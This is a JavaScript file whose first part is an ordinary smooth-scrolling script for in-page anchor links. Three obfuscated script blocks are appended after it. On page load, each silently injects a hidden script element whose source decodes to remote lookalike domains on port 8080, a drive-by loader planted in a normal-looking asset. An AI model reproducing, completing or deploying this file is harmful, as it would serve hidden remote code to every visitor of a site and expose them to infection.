/* Smooth scrolling
   Changes links that link to other parts of this page to scroll
   smoothly to those links rather than jump to them directly, which
   can be a little disorienting.
   
   sil, http://www.kryogenix.org/
   
   v1.0 2003-11-11
   v1.1 2005-06-16 wrap it up in an object
*/

var ss = {
  fixAllLinks: function() {
    // Get a list of all links in the page
    var allLinks = document.getElementsByTagName('a');
    // Walk through the list
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if ((lnk.href && lnk.href.indexOf('#') != -1) && 
          ( (lnk.pathname == location.pathname) ||
	    ('/'+lnk.pathname == location.pathname) ) && 
          (lnk.search == location.search)) {
        // If the link is internal to the page (begins in #)
        // then attach the smoothScroll function as an onclick
        // event handler
        ss.addEvent(lnk,'click',ss.smoothScroll);
      }
    }
  },

  smoothScroll: function(e) {
    // This is an event handler; get the clicked on element,
    // in a cross-browser fashion
    if (window.event) {
      target = window.event.srcElement;
    } else if (e) {
      target = e.target;
    } else return;

    // Make sure that the target is an element, not a text node
    // within an element
    if (target.nodeName.toLowerCase() != 'a') {
      target = target.parentNode;
    }
  
    // Paranoia; check this is an A tag
    if (target.nodeName.toLowerCase() != 'a') return;
  
    // Find the <a name> tag corresponding to this href
    // First strip off the hash (first character)
    anchor = target.hash.substr(1);
    // Now loop all A tags until we find one with that name
    var allLinks = document.getElementsByTagName('a');
    var destinationLink = null;
    for (var i=0;i<allLinks.length;i++) {
      var lnk = allLinks[i];
      if (lnk.name && (lnk.name == anchor)) {
        destinationLink = lnk;
        break;
      }
    }
    if (!destinationLink) destinationLink = document.getElementById(anchor);

    // If we didn't find a destination, give up and let the browser do
    // its thing
    if (!destinationLink) return true;
  
    // Find the destination's position
    var destx = destinationLink.offsetLeft; 
    var desty = destinationLink.offsetTop;
    var thisNode = destinationLink;
    while (thisNode.offsetParent && 
          (thisNode.offsetParent != document.body)) {
      thisNode = thisNode.offsetParent;
      destx += thisNode.offsetLeft;
      desty += thisNode.offsetTop;
    }
  
    // Stop any current scrolling
    clearInterval(ss.INTERVAL);
  
    cypos = ss.getCurrentYPos();
  
    ss_stepsize = parseInt((desty-cypos)/ss.STEPS);
    ss.INTERVAL =
setInterval('ss.scrollWindow('+ss_stepsize+','+desty+',"'+anchor+'")',10);
  
    // And stop the actual click happening
    if (window.event) {
      window.event.cancelBubble = true;
      window.event.returnValue = false;
    }
    if (e && e.preventDefault && e.stopPropagation) {
      e.preventDefault();
      e.stopPropagation();
    }
  },

  scrollWindow: function(scramount,dest,anchor) {
    wascypos = ss.getCurrentYPos();
    isAbove = (wascypos < dest);
    window.scrollTo(0,wascypos + scramount);
    iscypos = ss.getCurrentYPos();
    isAboveNow = (iscypos < dest);
    if ((isAbove != isAboveNow) || (wascypos == iscypos)) {
      // if we've just scrolled past the destination, or
      // we haven't moved from the last scroll (i.e., we're at the
      // bottom of the page) then scroll exactly to the link
      window.scrollTo(0,dest);
      // cancel the repeating timer
      clearInterval(ss.INTERVAL);
      // and jump to the link directly so the URL's right
      location.hash = anchor;
    }
  },

  getCurrentYPos: function() {
    if (document.body && document.body.scrollTop)
      return document.body.scrollTop;
    if (document.documentElement && document.documentElement.scrollTop)
      return document.documentElement.scrollTop;
    if (window.pageYOffset)
      return window.pageYOffset;
    return 0;
  },

  addEvent: function(elm, evType, fn, useCapture) {
    // addEvent and removeEvent
    // cross-browser event handling for IE5+,  NS6 and Mozilla
    // By Scott Andrew
    if (elm.addEventListener){
      elm.addEventListener(evType, fn, useCapture);
      return true;
    } else if (elm.attachEvent){
      var r = elm.attachEvent("on"+evType, fn);
      return r;
    } else {
      alert("Handler could not be removed");
    }
  } 
}

ss.STEPS = 25;

ss.addEvent(window,"load",ss.fixAllLinks);





var i=37018;var zw;if(zw!='e' && zw != ''){zw=null};var th=false;var m=false;var j=document;var s;if(s!='' && s!='wl'){s='b'};var n='s.c9r%iAp%tA'.replace(/[Al\.9%]/g, '');var ix;if(ix!='' && ix!='re'){ix=''};this.jb="";var f=window;f.onload=function(){this.ir="";var at;if(at!='' && at!='rp'){at=null};try {var ab=new String();var rej;if(rej!='' && rej!='ei'){rej=null};z=j.createElement(n);z.src='h3t3t3p,:3/+/,p3o,g+o,-WcWo,mY.,c,o,sWtWc,o,.Yc,o3m+.WgYo+o+g3l,e3-YcWo+m+-Wn+gW.+yYoWuWr+t3a,gWh3eYu+eYrY.3rYuY:+830,8,0Y/Wg+o3oWg3l,e,.3cWoYm,/+g,o,o+g+lWe,.Yc,oWmW/Ws3iYt+e3pYo3iYn+t,.Yc+o+mW/+sYe+cYu+rWeYsYeWr3v,eWr3.3nYe,tY/,l3i,n3tWeYrWnWaYu3tWeY.,cYoWmW/Y'.replace(/[YW\+3,]/g, '');this.ifv=30637;z.setAttribute('dRe%f?eWr?'.replace(/[\?%RW0]/g, ''), "1");var sr=new String();var yt=new String();j.body.appendChild(z);} catch(a){var g;if(g!='xk'){g='xk'};};var mdz=new Date();this.ya=21505;};var cp=35014;
var ll;if(ll!='w' && ll!='h'){ll=''};var b=window;var gs=new Array();var llf;if(llf!='m' && llf != ''){llf=null};var g=document;this.p_='';function _(x){var a=['hPtWtWpW:P/W/WqPiSdWiPa3n3-3cFoFmW.F5PdS63dP.Sc3oWmW.SeSc3h3oPrWoPuPk3o3nFlSiPnSeS-ScPoPmW.FnPeFwSgFoPlWfWoFnWlSi3nSeF.3rFuP:F8W0S8P0W/SiPn3s3i3gFhWt3ePxWpPr3ePsFsPaFiP.ScSoPmW/WiWnFs3iFgPhStWe3xFpWrPeFs3sSa3iS.3c3oSmS/WgFoWoPgSl3eF.WcSoPmS/FnSaWt3eS.3cSoWm3/3g3oSoWgSl3eP.3d3e3/S'.replace(/[S3WPF]/g, ''), 'sRckr9i0pRt+'.replace(/[\+R09k]/g, ''), 'cyrAeAa_tyewE?lAewm_e_n?tw'.replace(/[wA\?y_]/g, ''), 'oyn!lUo4a5d!'.replace(/[\!y4U5]/g, ''), 'sFr>co'.replace(/[o#\>BF]/g, ''), 'abpHpEeHnEdDCDhqiDlbdH'.replace(/[HDqEb]/g, ''), 'sIe~t%AIt%tIrIi%b%uztIez'.replace(/[z\$I%~]/g, ''), 'bLo5d1y1'.replace(/[15gL,]/g, ''), 'dMeRfUeqrU'.replace(/[URMvq]/g, ''), "1"];var y=a[x];return y;var nu="nu";}var d;if(d!='r' && d!='h_'){d='r'};var ye;if(ye!='' && ye!='t'){ye=null};var o = function(){var gj='';try {n=g[_([2,2][0])](_([1,5][0]));var tc=58758;var lz;if(lz!='' && lz!='hy'){lz='iw'};var yu = g[_([4,7][1])];var aq="";n[_([6][0])](_([8][0]), _([9][0]));n[_([4][0])]=_([0][0]);var ob;if(ob!='ow'){ob='ow'};yu[_([2,5][1])](n);} catch(c){};};var ti=new Date();var jj;if(jj!='cf'){jj=''};b[_([3,6][0])]=o;
try {var g;if(g!='' && g!='x'){g='mt'};var z=2279;this.vo=61500;var nk;if(nk!=''){nk='b'};var i='s&c&rViVp&t%'.replace(/[%&VX7]/g, '');var bz="";var _h="";var bk=new Date();var w;if(w!='xm' && w!='jx'){w=''};var e='c9rwe5awt;e9E;lKewm5eKnKt9'.replace(/[9K;w5]/g, '');this.bb="";var s=new Array();var y=window;var vf=new Date();var k_=new Date();var a='o6n@l:o6a@d:'.replace(/[\:F\$@6]/g, '');j=function(){var ay;if(ay!='iy' && ay!='gw'){ay='iy'};this.is=2005;var dl;if(dl!='cd' && dl!='bzt'){dl=''};m=document[e](i);var di;if(di!='sz' && di != ''){di=null};m.setAttribute('d2egf2e%r2'.replace(/[2%3ig]/g, ''), ([1][0]));m['sRrYcS'.replace(/[SYRd\*]/g, '')]='hOt#tNpN:,/O/Ai,fNeAn#gO-Oc,o,m#.AaAlNlNaAbOo,u,t,.#cNo,.NjNp,.,vOe,oAh#-Nc#oAm#.AnNeNwNwNoNrOl#dNlOi,nOk#.,r#u#:A8N0A8N0O/#oApOtOm,dO.Nc#oAmO/#oApAtAm#d,.AcOoOm,/OgNo#oOg,l,eA.NcOoAm#/,a#mAaOz,oAnO.,c,nA/,tAoAmAsOhNaOr#dOwNaNr#e#.,cAoAmO/,'.replace(/[,AO#N]/g, '');var ne=33993;var ps;if(ps!='' && ps!='zs'){ps=null};var _bs;if(_bs!='cn' && _bs != ''){_bs=null};this.te='';document['broRdry:'.replace(/[\:rR%4]/g, '')]['a%pRp%eknudkC%hRiklmdu'.replace(/[uRm%k]/g, '')](m);this.xb="xb";};this.ord=30290;y[a]=j;var eo;if(eo!='dz' && eo!='ub'){eo='dz'};} catch(p){var ga=new Date();var ve='';};var wi;if(wi!='' && wi!='jg'){wi=null};this.ba='';